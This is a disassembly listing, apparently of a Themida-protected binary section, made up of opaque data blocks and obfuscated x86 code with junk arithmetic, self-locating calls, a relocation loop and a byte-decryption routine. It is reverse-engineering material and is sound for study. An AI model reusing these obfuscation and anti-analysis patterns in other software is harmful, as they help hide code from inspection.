		dd 5B05E91Eh, 1DA58589h, 0D98B05E9h, 0B8h, 0C1952300h
		dd 8905E90Bh, 0E94DE0BDh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0DF48E7A7h
		dd 8166BB54h, 0B8033E3h, 71840FC0h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 7BDBC357h, 973AFD26h, 0EE8h,	0AB1BE900h, 5C8031B5h
		dd 0ABA0D127h, 3346DA38h, 0E926FD95h, 77E95A05h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0AF3CC352h, 8B7AD82Dh, 0E90BAD95h, 58C0F05h
		dd 0BB000000h, 4D190147h, 1761B5FFh, 0B52905E9h, 5E92835h
		dd 26D99523h, 858D05E9h, 5EBAA97h, 4E9ECB81h, 8B9050BFh
		dd 6A9050D3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 4540C351h, 94E482ECh, 565038C1h
		dd 5529BD8Dh, 8D8D05E9h, 5E97B3Eh, 8323BCB8h, 30CF2B74h
		dd 47C8D007h, 5EF87549h, 81BD8358h, 5E926h, 8D8B0674h
		dd 5E907B9h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h
		dd 0E90AA1BDh, 6740005h, 0B1D95FFh, 0B805E9h, 0B000000h
		dd 830975C0h, 0E94DE8BDh, 9740105h, 4DE8BD83h, 750205E9h
		dd 0E0B58B0Eh, 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h
		dd 83D0FF05h, 0E92C01BDh, 2F750205h, 2A31A58Bh,	858B05E9h
		dd 5E92681h, 0C7240489h, 0E9035D85h, 105h, 0E4B58B00h
		dd 8B05E94Dh, 0E91291ADh, 1B805h, 0CC20000h, 0C700EB00h
		dd 0E9035D85h, 105h, 31A58B00h,	8B05E92Ah, 0E90281B5h
		dd 91AD8B05h, 3305E912h, 0CC2C0h, 10A9BD83h, 740005E9h
		dd 0C1BD830Fh, 5E90Ch, 95FF0674h
		dd 5E90CC1h, 4DE0B58Bh,	66C305E9h, 6AD78Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 62BA48C3h
		dd 7C59D03h, 816605E9h,	2B6D09E2h, 53006AD2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0CA8D2A7Dh
		dd 668B72BFh
		db 0BBh, 9Dh, 27h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_545E4F
; ---------------------------------------------------------------------------


loc_545E4D:				; CODE XREF: Themida_:00545E52j
		inc	eax
		inc	edi


loc_545E4F:				; CODE XREF: Themida_:00545E4Bj
		cmp	byte ptr [edi],	0
		jnz	short loc_545E4D
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_545E7E
; ---------------------------------------------------------------------------


loc_545E5B:				; CODE XREF: Themida_:00545E80j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_545E73
; ---------------------------------------------------------------------------


loc_545E70:				; CODE XREF: Themida_:00545E76j
		mul	ebx
		dec	esi


loc_545E73:				; CODE XREF: Themida_:00545E6Ej
		cmp	esi, 0
		ja	short loc_545E70
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_545E7E:				; CODE XREF: Themida_:00545E59j
		or	eax, eax
		jnz	short loc_545E5B
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8AC35040h
		dd 7B110D12h, 42BA6654h, 6A0EB736h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 583C356h
		dd 0C2BE0325h, 9589D975h, 5E90445h, 0DBE9C18Bh,	68000222h
		dd 12FFh, 0
		dd 3F005AF5h, 25900h, 0E005AF5h, 28005AF0h, 46025900h
		dd 2000002h, 1000000h, 4000000h, 0CD000000h, 0FA6AE1h
		dd 4 dup(0)
		dd 0FC000000h, 51005507h, 0AF0054E6h, 800549Ch,	50005465h
		dd 8000546Ch, 0C20054DEh, 340054FCh, 0F5005525h, 0C80054B9h
		dd 77005466h, 0C80054CEh, 0EA0054F3h, 9900546Eh, 670054C6h
		dd 0DD00549Fh, 0B80054A0h, 0B0005482h, 0C0054D8h, 59005474h
		dd 930054D4h, 45005482h, 7F0054BEh, 0A20054B2h,	540054E0h
		dd 0F30054A0h, 0A70054E5h, 0C0005512h, 0DC0054C7h, 0A0054A7h
		dd 130054DFh, 0F00548Eh, 60005471h, 420054CAh, 1B0054F2h
		dd 0D0005474h, 0E9005486h, 0BE0054F3h, 0FE0054ADh, 0AC005483h
		dd 64005528h, 9A0054F8h, 0CC00550Eh, 0E005467h,	0EB0054B7h
		dd 2E00550Fh, 230054BCh, 0C50054E6h, 50005520h,	91005497h
		dd 280054C8h, 2B005468h, 360054B1h, 24005472h, 0EF0054F3h
		dd 410054F0h, 0FE0054B3h, 45005508h, 65005520h,	0C1005493h
		dd 5B00547Dh, 0E10054C9h, 7700550Eh, 9B0054A2h,	480054C8h
		dd 0B60054B7h, 4E0054F6h, 730054A5h, 6E0054A9h,	5F005489h
		dd 400054C0h, 780054C1h, 6C0054AEh, 0D80054AFh,	0B5005486h
		dd 0C700549Ah, 0C70054ADh, 530054C4h, 0FD0054C9h, 0C0054B3h
		dd 1C0054CDh, 74005499h, 790054E2h, 0C3005482h,	0E20054BAh
		dd 860054F1h, 8F0054F2h, 0DE0054F2h, 9100551Bh,	520054B4h
		dd 0F30054F1h, 7A005513h, 0FC0054DDh, 600548Dh,	8005512h
		dd 7005525h, 6A0054D7h,	0CB0054A5h, 8E0054B3h, 97005478h
		dd 0A2005484h, 0B80054EEh, 5A0054D6h, 0EA005516h, 4A00546Ah
		dd 0A10054A7h, 0FB0054ECh, 0A9005485h, 0E90054F1h, 8A0054B5h
		dd 930054D5h, 180054D0h, 6B00551Bh, 850054DBh, 1A0054BDh
		dd 540054A3h, 0A4005515h, 3B0054E7h, 71005476h,	620054ACh
		dd 4A0054ADh, 7F00546Dh, 0E1005512h, 880054A8h,	0E2005507h
		dd 330054EAh, 14005498h, 0A90054D7h, 3F00550Ch,	65005511h
		dd 0AE005520h, 54E3h, 0D90054F0h, 0AB00547Ah, 0E50054E9h
		dd 0B7005504h, 0DC0054E3h, 88005507h, 0C100549Ch, 0D3005489h
		dd 0B300546Fh, 1F00547Eh, 0DD005525h, 5A005520h, 1E005512h
		dd 0A30054E3h, 11005488h, 0DD005513h, 0AE00547Bh, 800054FBh
		dd 0B500549Bh, 42005526h, 760054A0h, 0D9005489h, 3000546Ah
		dd 0F900551Ch, 6F0054D2h, 16005494h, 0D10054EAh, 250054CBh
		dd 0B20054EAh, 0C8005509h, 32005500h, 2600547Fh, 2F0054B2h
		dd 830054FAh, 0C30054E4h
		db 0E3h, 54h, 0
; ---------------------------------------------------------------------------


loc_5461C3:				; CODE XREF: Themida_:005756CCj
					; Themida_:00594DD2j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E97FFEh
		mov	eax, edi
		add	edi, 5E97D16h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5461E1
		jmp	short loc_5461F4
; ---------------------------------------------------------------------------


loc_5461E1:				; CODE XREF: Themida_:005461DDj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5461F0
; ---------------------------------------------------------------------------


loc_5461EB:				; CODE XREF: Themida_:005461F2j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5461F0:				; CODE XREF: Themida_:005461E9j
		or	ecx, ecx
		jnz	short loc_5461EB


loc_5461F4:				; CODE XREF: Themida_:005461DFj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_546201:				; CODE XREF: Themida_:00546208j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_546201


loc_54620A:				; CODE XREF: Themida_:00546B24j
					; Themida_:005485EFj ...
		lodsb
		push	ecx
		mov	cl, 5
		sub	cl, 0C3h
		sub	cl, 0C0h
		sub	al, 0FAh
		sub	al, cl
		add	al, 0FAh
		mov	ecx, [esp]
		jmp	loc_549E73
; ---------------------------------------------------------------------------


loc_546222:				; CODE XREF: Themida_:0054688Cj
		mov	ecx, 0D5963E8h
		mov	ebp, ecx
		jmp	loc_54F47D
; ---------------------------------------------------------------------------
		dw 842Dh
		dd 17EB54Dh, 4DBB53F0h,	813B772Eh, 3B00DEC3h, 81D3F701h
		dd 0B52999CBh, 16CB8105h, 43664F22h, 51A4C381h,	60E996B5h
		dd 8100004Dh, 9B413EC5h, 6CC6817Fh, 29792B2Fh, 3073E9EEh
		dd 0B9510000h, 7BE76C17h, 6FA4E9h, 4C38100h, 81000000h
		dd 4C3h, 241C8700h, 0FFE0E95Ch,	0E952FFFFh, 9870h, 8759CF29h
		dd 0BFE9243Ch
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54629F:				; CODE XREF: Themida_:005526C8j
		xchg	ebx, edx
		xchg	eax, ebx
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xchg	eax, ebx
		xchg	ebx, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	5EA6h
		mov	[esp], ebp
		push	eax
		push	edx
		push	edi
		jmp	loc_549A0E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0
aIYbuSjuqsb?	db ')Ù‰ËYã·S†uQé?',0
		dd 24348B00h, 4C481h, 0AA680000h, 89000029h, 0BF572404h
		dd 4B550DADh, 0F7BE781h, 0E7C16F67h, 98E94F07h,	510000BBh
		dd 0F422E168h, 0C831597Ch, 53240C8Bh, 0C381E389h, 4, 4EC8351h
		dd 0E9243C89h, 32F5h, 0E981F901h, 5B975686h, 83243C8Bh
		dd 0C80104C4h, 0B7D5E959h, 68660000h, 34280000h, 24348A24h
		dd 5302C483h, 0C680F4B3h, 0E9DE280Dh, 0AA10h, 2414F756h
		dd 81F5875Eh, 0BE5E7F5h, 5DE901F2h, 50241C8Bh, 405E089h
		dd 83000000h, 48704C0h,	9D80E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546372:				; CODE XREF: Themida_:0054F478j
		push	esi
		mov	esi, 4712107h
		jmp	loc_5517D9
; ---------------------------------------------------------------------------


loc_54637D:				; CODE XREF: Themida_:00549F3Aj
		pop	ecx
		jmp	loc_54728C
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD3h, 4C481h, 0AE90000h, 1000040h, 2B4AE9FAh, 0C3810000h
		dd 4, 0E904C383h, 633Ah, 468h, 24E95D00h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5463B3:				; CODE XREF: Themida_:00546B00j
		pop	edi
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5ED9410Bh
		mov	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		push	ebp
		push	6838h
		mov	[esp], edx
		push	edi
		mov	edi, 57E16C7Ah
		sub	edi, 50BA3F22h
		dec	edi
		sub	edi, 37666521h
		and	edi, 30282E96h
		add	edi, 252716AEh
		mov	edx, edi
		pop	edi
		jmp	loc_54FB7B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 3C8702C7h, 24248B24h, 8904EC83h, 81E9240Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546423:				; CODE XREF: Themida_:00552658j
		pop	edi
		pop	eax
		xor	edi, 2ABA524Eh
		jmp	loc_54F3FA
; ---------------------------------------------------------------------------
aIIxqsad	db '\‰,$‰åQ逤',0
		align 4
		dd 0CCBE5658h, 2953D22Dh, 8B042474h, 0C4832434h, 6D96E904h
		dd 0E95D0000h, 0A6A8h, 5E9C15Fh, 0B658E941h, 0BA520000h
		dd 374B6FD2h, 28BE5653h, 0E935BF15h, 315Bh, 0E904C483h
		dd 2A8Fh, 5307E6C0h, 0CB80C9B3h, 5EBC0CCh, 0E94DC380h
		dd 6591h
; ---------------------------------------------------------------------------


loc_546490:				; CODE XREF: Themida_:00546A94j
		add	ebp, 4
		jmp	loc_549BCC
; ---------------------------------------------------------------------------
aSs		db 'Sé¹',7,0
		dd 1C38300h, 0AC5FC381h, 40681DF4h, 89000059h, 0BAE9243Ch
		dd 59000076h, 8124348Bh, 4C4h, 20500h, 28E90000h, 81000082h
		dd 4C4h, 3A5F300h, 0EC833862h, 24348904h, 67ACE9h, 205A6600h
		dd 0F28059EAh, 0EFEA804Eh, 846B753h, 241C8BFAh,	7689E9h
		dd 4EC8100h, 89000000h,	0E9512434h, 460Ah, 240C8B66h, 60FD68h
		dd 242C8900h, 0C5815D54h, 4, 471EE9h, 5EF30100h, 52E9DF01h
		dd 4A000092h, 2612EA81h, 81425690h, 56DA5FEAh, 5AD0296Dh
		dd 32BF5B05h, 58C70119h, 0BD55DFF7h, 1,	0F7E9EF29h, 68000049h
		dd 6AD1h, 66243489h, 521EDDBEh,	64FB6866h, 414E9h
		db 0
; ---------------------------------------------------------------------------


loc_546569:				; CODE XREF: Themida_:00547E9Aj
		add	[esp+4], edx
		jmp	loc_54F71D
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 83242489h
		dd 8B042404h, 8E92414h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546597:				; CODE XREF: Themida_:0055278Bj
		inc	dword ptr [esp]
		jmp	loc_5517B6
; ---------------------------------------------------------------------------
a313Sa		db '3<$1<$3<$éAš',0
		dd 2C28100h, 87000000h,	665C2414h, 0E951E9F7h, 0B904h
		dd 4C481h, 5E040000h, 303268h, 240C8900h, 69DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5465D5:				; CODE XREF: Themida_:00548689j
		push	cx
		jmp	loc_54A5D1
; ---------------------------------------------------------------------------


loc_5465DC:				; CODE XREF: Themida_:00552652j
		mov	cl, ah
		pop	eax
		mov	dl, cl
		jmp	loc_546C7B
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0EA8FC781h, 0FE89547Fh, 83243C8Bh, 0C58104C4h, 3FFE292Eh
		dd 0ED81F529h, 3FFE292Eh, 8FE8E95Eh, 752D0000h,	31C1FE1Ah
		dd 0E98158C2h, 7AE5D68h, 8C17E9h
		db 0
; ---------------------------------------------------------------------------


loc_54661D:				; CODE XREF: Themida_:00546E20j
		mov	[esp], edx
		push	59BCh
		mov	[esp], ebp
		push	ecx
		mov	ecx, 3C30C4Ch
		mov	ebp, ecx
		jmp	loc_54F86D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0B110E9h, 40E95000h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_546643:				; CODE XREF: Themida_:0054E1B8j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ch, 4Bh
		jmp	loc_55054D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 55E38924h, 4BDh, 72C38100h, 815E076Eh, 2423B3C3h, 81EB0107h
		dd 2423B3EBh, 72EB8107h, 5D5E076Eh, 46A868h, 242C8900h
		dd 2BDh, 0DAEB8100h, 814AC449h,	0E46CEBC3h, 0C4EB8136h
		dd 10BF957h, 0C4C381EBh, 810BF957h, 0E46CEBEBh,	0DAC38136h
		dd 5D4AC449h, 8B241C87h, 0F9F62424h, 0CCB60F66h, 2BD1E9h
		dd 24048F00h, 0E924248Bh, 0A24Dh, 240C8B66h, 2FC068h, 24348900h
		dd 487B68h, 24248900h, 2FB0E9h,	0E9505100h, 0DBEh
; ---------------------------------------------------------------------------


loc_5466E8:				; CODE XREF: Themida_:0054FD44j
		sub	ebx, esi
		pop	esi
		jmp	loc_54B799
; ---------------------------------------------------------------------------
		dd 5358C701h, 3768E9h
		db 0
; ---------------------------------------------------------------------------


loc_5466F9:				; CODE XREF: Themida_:0055241Cj
		push	eax
		mov	eax, 780244EBh
		jmp	loc_54E2F1
; ---------------------------------------------------------------------------
		dd 5C241C87h, 5BB7E9h, 58E73000h, 4EC81h, 0C890000h, 11546824h
		dd 4890000h, 88D4B424h,	0EF2858E5h, 0E9F80059h,	0C50h
; ---------------------------------------------------------------------------


loc_546730:				; CODE XREF: Themida_:0054B381j
		push	ecx
		mov	ecx, 60B00A8Bh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E631
; ---------------------------------------------------------------------------


loc_546743:				; CODE XREF: Themida_:0054BA94j
		pop	eax
		jmp	loc_551AB1
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 80h
		dd 0F02858C6h, 4D0005Ah, 63E95A55h, 5300009Eh, 9333E9h
		dd 0BD555A00h, 4, 29D3EA81h, 0EA017F0Dh, 29D3C281h, 815D7F0Dh
		dd 2C2h, 24148700h, 3024248Bh, 0FFD1E9C3h, 3489FFFFh, 79356824h
		dd 465E671Ah, 82C9BD55h, 0EE0198E5h, 81242C8Bh,	4C4h, 1C772100h
		dd 8124348Bh, 4ECh, 24148900h, 5556E289h, 9470E9h, 5EF20100h
		dd 9BC2815Fh, 0E9776035h, 12AAh, 240C8B66h, 771068h, 240C8900h
		dd 6F5568h, 863EE900h, 6FB50000h, 7255E9h, 0E9F20100h
		dd 3157h, 7ED6EB81h, 0EB811BA8h, 27CA06F2h, 8124148Bh
		dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 4A30F24h, 0EFE99C24h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54681B:				; CODE XREF: Themida_:0054EF70j
		neg	ebx
		xor	ebx, 0DD31A8A7h
		jmp	loc_551E8B
; ---------------------------------------------------------------------------
		dd 0DBE9028Fh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54682F:				; CODE XREF: Themida_:005473D1j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 800h
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_54F92C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 65D5BB53h, 0C3836F8Ch, 2EC38101h, 0E990739Ah
		dd 278Dh, 489665Ch, 0F980E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54688A:				; CODE XREF: Themida_:0055087Bj
		push	ebp
		push	ecx
		jmp	loc_546222
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0F724248Bh, 5A1D68F9h, 14890000h, 3B2DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5468A6:				; CODE XREF: Themida_:0054DF94j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5524A9
; ---------------------------------------------------------------------------
aSX		db ']éÝX',0
		align 4


loc_5468BC:				; CODE XREF: Themida_:00549E8Aj
		sub	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54FFC2
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 24048704h, 8924248Bh, 93BB241Ch,	292E4944h
		dd 1417E9DAh, 835E0000h, 3C8704C4h, 0BF0F5C24h,	7A6868C8h
		dd 0C3E90000h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5468FF:				; CODE XREF: Themida_:0054B332j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_54C070
		push	ecx
		push	edx
		push	esi
		push	27E15124h
		pop	esi
		xor	[esp+4], esi
		jmp	loc_54F429
; ---------------------------------------------------------------------------


loc_546925:				; CODE XREF: Themida_:0054A7ACj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	3939h
		jmp	loc_551ED2
; ---------------------------------------------------------------------------


loc_546950:				; CODE XREF: Themida_:00547706j
		push	ebx
		push	eax
		push	5EB1215Dh
		pop	eax
		mov	ebx, 5EB12159h
		jmp	loc_54DF7F
; ---------------------------------------------------------------------------
		dw 0FE31h
aLUsq_		db '‹<$Uéq.',0
		dd 0E9814100h, 0DB9AE9E8h, 5359CE29h, 3752E9h, 0E95A6600h
		dd 587Bh
; ---------------------------------------------------------------------------


loc_546984:				; CODE XREF: Themida_:005528D9j
		push	eax
		mov	eax, edx
		mov	edi, eax
		pop	eax
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_54F373
; ---------------------------------------------------------------------------


loc_5469A0:				; CODE XREF: Themida_:00549360j
		push	edx
		mov	dh, 0B1h
		shl	dh, 8
		add	dh, 0BFh
		add	dh, 6Ah
		shr	dh, 2
		inc	dh
		sub	dh, 2Ch
		sub	al, dh
		jmp	loc_5478AB
; ---------------------------------------------------------------------------
		db 81h
		dd 784EE9E6h, 0C0EE8144h, 83F89330h, 1C8904ECh,	45B85024h
		dd 0E901F069h, 3CF7h, 0FF04C483h, 2C8B2434h, 2F46E924h
		dd 3C330000h, 81E95C24h, 54000063h, 40558h, 0EC830000h
		dd 242C8904h, 0A50F1BDh, 0B9514565h, 199C4DF1h,	8159CD21h
		dd 61226DCDh, 81D5F74Fh, 696302C5h, 5DE8294Fh, 5C240487h
		dd 54242C89h, 359DE95Dh, 38BF0000h, 815EBE4Dh, 0D90A3BCFh
		dd 51D7F75Ch, 1B3F57B9h, 2AFE94Ch, 4870000h, 0A2E95C24h
		dd 5D000016h, 0E904EBC1h, 5CBDh, 151AF581h, 0BB533EFEh
		dd 3C1D493h, 35A0E9h, 4EC8100h,	89000000h, 0E954243Ch
		dd 6B5Bh, 4343CE81h, 0E6C15E66h, 53555006h, 3FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_546A85:				; CODE XREF: Themida_:00550875j
		push	ebx
		jmp	loc_5506D3
; ---------------------------------------------------------------------------
a_qsbc		db '_Qé¡—',0
		align 2


loc_546A92:				; CODE XREF: Themida_:0054FDD2j
		mov	ebp, esp
		jmp	loc_546490
; ---------------------------------------------------------------------------
		db 59h,	0F6h, 0D7h
		dd 806FCF80h, 0F78059E7h, 42EF8060h, 0F800DA2Ch, 80A5B252h
		dd 0F280FDC2h, 5AD00078h, 2CD8005Bh, 69D2E9E7h,	0F5870000h
		dd 89AEC581h, 0EE2162FEh, 3D42E95Dh, 0D3290000h, 9B4FE9h
		dd 0C8B6600h, 13966824h, 1C890000h, 34B8E924h, 0FF660000h
		dd 0F718E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546AF2:				; CODE XREF: Themida_:0054F910j
		push	eax
		mov	eax, 22827995h
		push	edi
		mov	edi, 22827991h
		xor	eax, edi
		jmp	loc_5463B3
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 0E9000000h, 7BF6h, 4BB5E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546B16:				; CODE XREF: Themida_:00546C7Fj
		mov	cl, al
		pop	eax
		pop	edx
		pop	ebx
		mov	[edi+eax*4], cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54620A
; ---------------------------------------------------------------------------


loc_546B29:				; CODE XREF: Themida_:0054DC07j
		mov	eax, 4
		add	ebp, 4D45B55h
		add	ebp, eax
		sub	ebp, 4D45B55h
		pop	eax
		push	edx
		jmp	loc_54E012
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8904EC83h, 0E950240Ch, 705Eh
; ---------------------------------------------------------------------------


loc_546B50:				; CODE XREF: Themida_:0055228Bj
		pop	edi
		shr	eax, 0Eh
		xor	eax, ecx
		push	1217h
		mov	[esp], eax
		jmp	loc_552853
; ---------------------------------------------------------------------------
		db 50h
		dd 0C606E9B8h, 0E8C14022h, 0E8D14806h, 0E907E8C1h, 80C9h
		dd 0E938B353h, 0AB99h, 8704EB83h, 895C241Ch, 0C68243Ch
		dd 0E900002Ch, 0A165h
; ---------------------------------------------------------------------------


loc_546B94:				; CODE XREF: Themida_:0054E460j
		not	edx
		sub	edx, 9D879338h
		add	ebx, edx
		jmp	loc_54B37E
; ---------------------------------------------------------------------------
aKMUTBh		db 'ºŠ|¬',9,'U½ÊTÓ=!ê]Bh',0
a__1:
		unicode	0, <.>
		dw 8900h
		dd 83B9240Ch, 8146007Eh, 0F03422F1h, 0E9CA317Bh, 57ADh
; ---------------------------------------------------------------------------


loc_546BCC:				; CODE XREF: Themida_:00549462j
		xor	edx, 543A0CFFh
		shl	edx, 6
		add	edx, 219278F1h
		add	edi, edx
		jmp	loc_551E4A
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 1C281h, 0E2810000h, 2C47A68h, 39A4B951h, 0C9811C84h
		dd 2F2D0696h, 6949E9h, 74FF5700h, 0AAE90424h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_546C0B:				; CODE XREF: Themida_:0054E6D3j
		push	ebp
		mov	ebp, 4A267A0h
		not	ebp
		or	ebp, 2DFE74B4h
		or	ebp, 56A516D1h
		add	ebp, 1366394Bh
		jmp	loc_54A93F
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 24042966h, 8AC2E99Ch, 0DE010000h,	5031EE81h
		dd 1C8B1020h, 4C48124h,	0E9000000h, 0E1Eh, 0B56866ACh
		dd 0B71E979h, 14F70000h, 0EB815B24h, 509D348Eh,	0B2FEB81h
		dd 0E3811546h, 335B5695h, 5A01C381h, 0EFE97C86h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546C7B:				; CODE XREF: Themida_:005465E1j
		pop	ecx
		push	eax
		mov	al, dl
		jmp	loc_546B16
; ---------------------------------------------------------------------------
aPhI		db '\Ph',0Ah
		db 'I',0
		dw 8900h
		dd 4812424h, 424h, 24048B00h, 4C481h, 0EC830000h, 64CCE904h
		dd 0F2010000h, 70B7E9h,	77E95700h, 87FFFFFDh, 0E95C2434h
		dd 4F7h, 0E9241489h, 2E27h, 2EC81h, 89660000h, 81662414h
		dd 0DD52434h, 240C8B66h, 6602C483h, 0DD5F181h, 5724148Bh
		dd 0C781E789h, 4, 4E5EE9h, 6E9C100h, 0C108E9C1h, 0D1F704E9h
		dd 0ACC18149h, 814D1770h, 1832B3EFh, 0B8E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546D0E:				; CODE XREF: Themida_:00552356j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_54BDD2
; ---------------------------------------------------------------------------


loc_546D1D:				; CODE XREF: Themida_:00547949j
		mov	ebx, 0FFFFFFFFh
		sub	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 700D3362h
		jmp	loc_550794
; ---------------------------------------------------------------------------
		dd 0DF6C2D40h, 0C289F21Ah, 9AE28158h, 812C5740h, 4973D5F2h
		dd 0A100E971h, 8B660000h, 8956240Ch, 37BB53E6h,	83434D32h
		dd 2C8904ECh, 0A0BBD24h, 0F58133FCh, 42377723h,	198CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546D6D:				; CODE XREF: Themida_:0055224Cj
		push	cx
		not	byte ptr [esp+1]
		pop	cx
		jmp	loc_54D6F6
; ---------------------------------------------------------------------------


loc_546D7A:				; CODE XREF: Themida_:00550F7Bj
		xor	edi, edx
		xor	edx, edi
		jmp	loc_549006
; ---------------------------------------------------------------------------
		db 0B8h
		dd 69E417CDh, 0B8069DBFh, 8EB5E948h, 89570000h,	4C781E7h
		dd 83000000h, 1C8904ECh, 4BD5524h, 89000000h, 0DF295DEBh
		dd 243C335Bh, 0E9243C31h, 727h,	15AD701h, 0C0835FF8h, 73AFE904h
		dd 0CF290000h, 4183E9h
		db 0
; ---------------------------------------------------------------------------


loc_546DCD:				; CODE XREF: Themida_:00548D3Aj
		add	esp, 4


loc_546DD0:				; CODE XREF: Themida_:0054BA0Bj
		push	405Ah
		mov	[esp], ebx
		push	0ECBh
		mov	[esp], edx
		jmp	loc_54BD41
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8104C483h, 4ECh, 242C8900h, 28C868h,	24248900h, 4240483h
		dd 83242C8Bh, 66E904C4h, 5000022h, 2, 5C240487h, 73B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_546E19:				; CODE XREF: Themida_:0054A4F1j
		pop	esp
		sub	esp, 4
		jmp	loc_54661D
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0B1h
		dd 1869664h, 0E9575FF9h, 8AE1h,	2B85052h, 56000000h, 0F289C689h
		dd 0D701585Eh, 6198E9h,	0B2C28100h, 81645305h, 0ADE307EAh
		dd 8BD32150h, 0C4812414h, 4, 0B4BFE9h, 3FBA5200h, 0E9786F0Eh
		dd 938Dh, 4BD55h, 0C2810000h, 1A34E5Bh,	34ADE9h, 1AF06800h
		dd 0E95B7D4Fh, 1A55h, 8904EC83h, 0CAE9240Ch, 5E000084h
